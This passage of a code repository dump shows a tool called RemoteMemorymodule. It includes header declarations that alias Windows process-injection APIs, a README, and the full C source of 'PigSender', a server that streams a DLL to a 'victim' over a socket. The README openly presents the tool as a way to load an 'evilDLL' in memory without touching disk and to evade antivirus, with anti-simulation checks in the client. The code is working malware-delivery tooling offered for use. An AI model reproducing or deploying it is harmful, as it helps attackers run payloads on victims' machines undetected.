LPDWORD lpThreadId 54 | ); 55 | 56 | typedef BOOL(WINAPI* ImportAdjustTokenPrivileges)( 57 | HANDLE TokenHandle, 58 | BOOL DisableAllPrivileges, 59 | PTOKEN_PRIVILEGES NewState, 60 | DWORD BufferLength, 61 | PTOKEN_PRIVILEGES PreviousState, 62 | PDWORD ReturnLength 63 | ); 64 | 65 | 66 | extern ImportCreateThread PigCreateThread; 67 | extern ImportVirtualProtect PigVirtualProtect; 68 | extern ImportVirtualProtectEx PigVirtualProtectEx; 69 | extern ImportVirtualAlloc PigVirtualAlloc; 70 | extern ImportVirtualAllocEx PigVirtualAllocEx; 71 | extern ImportCreateRemoteThread PigCreateRemoteThread; 72 | extern ImportAdjustTokenPrivileges PigAdjustTokenPrivileges; 73 | 74 | 75 | #endif // !KERNEL32_IMPORT 76 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # RemoteMemorymodule 2 | Load the evilDLL from socket connection without touch disk 3 | 4 | 5 | 6 | Inspired by @Rvn0xsy and the famous [MemoryModule](https://github.com/fancycode/MemoryModule) project 7 | 8 | 9 | 10 | #### Server 11 | 12 | Maked a simple socket server via c++ which is called `PigSender`(only work on Linux) 13 | 14 | Responsible for processing the request sent by the client and transferring the DLL 15 | 16 | #### Client 17 | 18 | 1. Added a simple anti-simulation method, and receive DLL file from remote Server 19 | 20 | 2. Finally, simply call MemoryModule 21 | 22 | ## Usage: 23 | 24 | 1. Put your DLL on the VPS and specify the file to be sent and the listening port 25 | 26 | ![image-20210810085812853](https://images-1258433570.cos.ap-beijing.myqcloud.com/images/20210810085814.png) 27 | 28 | 2. In the Client, just specify the address listened in the first step 29 | 30 | ![image-20210810085922601](https://images-1258433570.cos.ap-beijing.myqcloud.com/images/20210810085923.png) 31 | 32 | 33 | Of course, for better results, you can encrypt the traffic in network transmission, cause the feature of PE files are very obvious 34 | 35 | **Thanks to this excellent "non-landing" technology, you can use this project to reduce the pain of evasion anti-virus in some temporary environments** 36 | 37 | -------------------------------------------------------------------------------- /Server/PigSender.c: -------------------------------------------------------------------------------- 1 | // PigSender 用于传输DLL到victim 2 | // Auther @evilash 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | 13 | #define LENGTH_OF_LISTEN_QUEUE 20 14 | #define BUFFER_SIZE 287744 15 | #define FILE_NAME_MAX_SIZE 512 16 | 17 | 18 | char banner[7][50] = {" ____ _ ____ _ ", 19 | " | _ \\(_) __ _/ ___| ___ _ __ __| | ___ _ __ ", 20 | " | |_) | |/ _` \\___ \\ / _ \\ '_ \\ / _` |/ _ \\ '__|", 21 | " | __/| | (_| |___) | __/ | | | (_| | __/ | ", 22 | " |_| |_|\\__, |____/ \\___|_| |_|\\__,_|\\___|_| ", 23 | " |___/ ", 24 | " A Reflective DLL Sender v0.1 @evilash" 25 | 26 | }; 27 | 28 | int main(int argc, char **argv) 29 | { 30 | int ch; 31 | char* port; 32 | char* filename; 33 | char file_name[FILE_NAME_MAX_SIZE]; 34 | 35 | if (argc == 1){ 36 | printf("%s\n%s\n%s\n%s\n%s\n%s\n%s\n\n", banner[0],banner[1],banner[2],banner[3],banner[4],banner[5],banner[6]); 37 | printf("Usage:\n\n %s -f [filename] -l [ListenPort].\n",argv[0]); 38 | exit(1); 39 | } 40 | //参数处理 41 | while ((ch = getopt(argc, argv, "f:l:h")) != -1) { 42 | switch (ch) { 43 | case 'f': 44 | 45 | filename = strdup(optarg); 46 | strcpy(file_name, filename); 47 | break; 48 | case 'l': 49 | 50 | port = strdup(optarg); 51 | port = atoi((const char *)port); 52 | break; 53 | 54 | case 'h': 55 | printf("%s\n%s\n%s\n%s\n%s\n%s\n%s\n\n", banner[0],banner[1],banner[2],banner[3],banner[4],banner[5],banner[6]); 56 | printf("Usage:\n\n %s -f [filename] -l [ListenPort].\n",argv[0]); 57 | return -1; 58 | case '?': 59 | printf("Usage:\n %s -f [filename] -l [ListenPort].\n",argv[0]); 60 | return -1; 61 | default: 62 | printf("Usage: %s -f [filename] -l [ListenPort].\n",argv[0]); 63 | exit(1); 64 | } 65 | } 66 | 67 | // set socket's address information 68 | struct sockaddr_in server_addr; 69 | bzero(&server_addr, sizeof(server_addr)); 70 | server_addr.sin_family = AF_INET; 71 | server_addr.sin_addr.s_addr = htons(INADDR_ANY); 72 | server_addr.sin_port = htons(port); 73 | // create a stream socket 74 | int server_socket = socket(PF_INET, SOCK_STREAM, 0); 75 | if (server_socket < 0) 76 | { 77 | printf("Create Socket Failed!\n"); 78 | exit(1); 79 | } 80 | 81 | // 把socket和socket地址结构绑定 82 | if (bind(server_socket, (struct sockaddr*)&server_addr, sizeof(server_addr))) 83 | { 84 | printf("Server Bind Port: %s Failed!\n", port); 85 | exit(1); 86 | } 87 | 88 | // server_socket用于监听 89 | if (listen(server_socket, LENGTH_OF_LISTEN_QUEUE)) 90 | { 91 | printf("Server Listen Failed!\n"); 92 | exit(1); 93 | } 94 | 95 | // 服务器端一直运行用以持续为客户端提供服务 96 | while(1) 97 | { 98 | // 定义客户端的socket地址结构client_addr,当收到来自客户端的请求后,调用accept 99 | // 接受此请求,同时将client端的地址和端口等信息写入client_addr中 100 | struct sockaddr_in client_addr; 101 | socklen_t length = sizeof(client_addr); 102 | 103 | // 接受一个从client端到达server端的连接请求,将客户端的信息保存在client_addr中 104 | // 如果没有连接请求,则一直等待直到有连接请求为止,这是accept函数的特性,可以 105 | // 用select()来实现超时检测 106 | // accpet返回一个新的socket,这个socket用来与此次连接到server的client进行通信 107 | // 这里的new_server_socket代表了这个通信通道 108 | int new_server_socket = accept(server_socket, (struct sockaddr*)&client_addr, &length); 109 | if (new_server_socket < 0) 110 | { 111 | printf("Server Accept Failed!\n"); 112 | break; 113 | } 114 | 115 | char buffer[BUFFER_SIZE]; 116 | //bzero(buffer, sizeof(buffer)); 117 | 118 | printf("[+]Sending DLL\n"); 119 | //bzero(file_name, sizeof(file_name)); 120 | //strncpy(file_name, buffer, strlen(buffer) > FILE_NAME_MAX_SIZE ? FILE_NAME_MAX_SIZE : strlen(buffer)); 121 | sleep(3); 122 | //strcpy(file_name, filename); 123 | 124 | FILE *fp = fopen(file_name, "r"); 125 | if (fp == NULL) 126 | { 127 | printf("File:%s Not Found!\n", file_name); 128 | } 129 | else 130 | { 131 | bzero(buffer, BUFFER_SIZE); 132 | int file_block_length = 0; 133 | while( (file_block_length = fread(buffer, sizeof(char), BUFFER_SIZE, fp)) > 0) 134 | { 135 | printf("[+]file_block_length = %d\n", file_block_length); 136 | 137 | // 发送buffer中的字符串到new_server_socket,实际上就是发送给客户端 138 | if (send(new_server_socket, buffer, file_block_length, 0) < 0) 139 | { 140 | printf("Send File:\t%s Failed!\n", file_name); 141 | break; 142 | } 143 | 144 | bzero(buffer, sizeof(buffer)); 145 | } 146 | fclose(fp); 147 | printf("[+]File:%s Transfer Finished!\n", file_name); 148 | } 149 | 150 | close(new_server_socket); 151 | } 152 | 153 | close(server_socket); 154 | 155 | return 0; 156 | } 157 | --------------------------------------------------------------------------------